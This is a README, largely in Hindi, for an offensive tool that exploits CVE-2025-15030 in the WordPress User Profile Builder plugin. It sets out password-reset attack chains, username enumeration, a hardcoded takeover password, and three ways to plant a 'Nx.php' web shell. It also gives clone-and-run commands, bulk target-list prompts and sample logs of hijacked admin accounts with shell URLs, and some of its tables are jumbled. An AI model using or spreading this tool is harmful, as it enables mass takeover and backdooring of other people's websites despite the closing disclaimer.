
User Profile Builder < 3.15.2 - बिना प्रमाणीकरण के मनमाना पासवर्ड रीसेट
User Profile Builder < 3.15.2 - बिना प्रमाणीकरण मनमाना पासवर्ड रीसेट
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
मूल कारण:
Profile Builder प्लगइन की पासवर्ड पुनर्प्राप्ति प्रक्रिया (action2=recover_password2) रीसेट कुंजी को ठीक से मान्य नहीं करती और न ही टोकन समाप्ति लागू करती है। रीसेट पृष्ठ से निकाले गए वैध password_recovery_nonce_field2 के साथ एक विशेष रूप से तैयार POST सबमिट करके, एक बिना प्रमाणीकृत हमलावर केवल उपयोगकर्ता नाम जानकर किसी भी WordPress उपयोगकर्ता — जिसमें व्यवस्थापक भी शामिल हैं — के लिए नया पासवर्ड सेट कर सकता है। किसी ईमेल इंटरैक्शन या वैध रीसेट टोकन की आवश्यकता नहीं है।
यह टूल प्रत्येक लक्ष्य के विरुद्ध दो स्वतंत्र हमला श्रृंखलाएँ लागू करता है, दोनों के बाद वैकल्पिक शेल परिनियोजन होता है:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
शेल अपलोड सक्षम करने के लिए Nxploited.zip को स्क्रिप्ट के समान निर्देशिका में रखें। टूल इसके बिना भी चलता है लेकिन शेल परिनियोजन छोड़ दिया जाएगा।
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
सभी रीसेट और लॉगिन प्रयासों के लिए उपयोग किया जाने वाला पासवर्ड आंतरिक रूप से निर्धारित है:
Nxploited_adminSA
list.txt — लक्ष्य (आवश्यक)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile Builder रीसेट लिंक (वैकल्पिक)यदि आपने Profile Builder से पासवर्ड रीसेट ईमेल लिंक कैप्चर किए हैं, तो उन्हें यहाँ एक प्रति पंक्ति पेस्ट करें। टूल निम्न करेगा:
password_recovery_nonce_field2 + userData निकालेगाaction2=recover_password2 के माध्यम से नया पासवर्ड सबमिट करेगाhttps://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
टूल लॉगिन का प्रयास करने से पहले तीन विधियों का उपयोग करके स्वचालित रूप से WordPress उपयोगकर्ता नाम खोजता है:
| विधि | एंडपॉइंट |
|---|---|
| लेखक पुनर्निर्देशन | /?author=1 → |
परिणाम लिखने से पहले प्रत्येक लॉगिन प्रयास की सख्ती से पुष्टि की जाती है। टूल जाँचता है:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
कोई परिणाम केवल तभी डिस्क पर लिखा जाता है जब ≥ 3 एडमिन मार्कर की पुष्टि हो जाती है।
पुष्टि किए गए एडमिन सत्र के बाद टूल क्रम से तीन एस्केलेशन विधियों का प्रयास करता है:
शेल सत्यापन: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| फ़ाइल | सामग्री |
|---|---|
scan_results/wp_login_reset_success.txt | CORE श्रृंखला के माध्यम से पुष्टि किए गए एडमिन हिट |
scan_results/shells.txt | साख के साथ परिनियोजित शेल URL |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.
You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · 3.15.2 में ठीक किया गया
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| प्लगइन | वर्डप्रेस के लिए User Profile Builder |
| प्रभावित | 3.15.2 से पहले के सभी संस्करण |
| प्रमाणीकरण | कोई आवश्यकता नहीं |
| प्रकार | अनुचित पासवर्ड रीसेट — बिना प्रमाणीकरण खाता अधिग्रहण |
| CWE | CWE-640 · कमज़ोर पासवर्ड पुनर्प्राप्ति तंत्र |
/?author=10| REST API | /wp-json/wp/v2/users |
| होस्टनाम अनुमानी | डोमेन नाम का पहला लेबल |
| डिफ़ॉल्ट फ़ॉलबैक | admin हमेशा शामिल |
| विधि | एंडपॉइंट | ट्रिगर |
|---|
| प्लगइन अपलोड | /wp-admin/update.php?action=upload-plugin | इंस्टॉल फ़ॉर्म के माध्यम से Nxploited.zip अपलोड करता है |
| REST API | /wp-json/wp/v2/plugins | सीधा ZIP POST |
| संपादक लेखन | /wp-admin/plugin-editor.php | फ़ाइल संपादक के माध्यम से Nx.php लिखता है |
| कॉलम |
|---|
| अर्थ |
|---|
KEY | रीसेट प्रवाह सफलतापूर्वक आरंभ हुआ |
RESET | सर्वर द्वारा नया पासवर्ड स्वीकार किया गया |
ACCESS | पुष्टि किए गए एडमिन लॉगिन की संख्या |
SHELL | OK यदि Nx.php लाइव पुष्टि हो |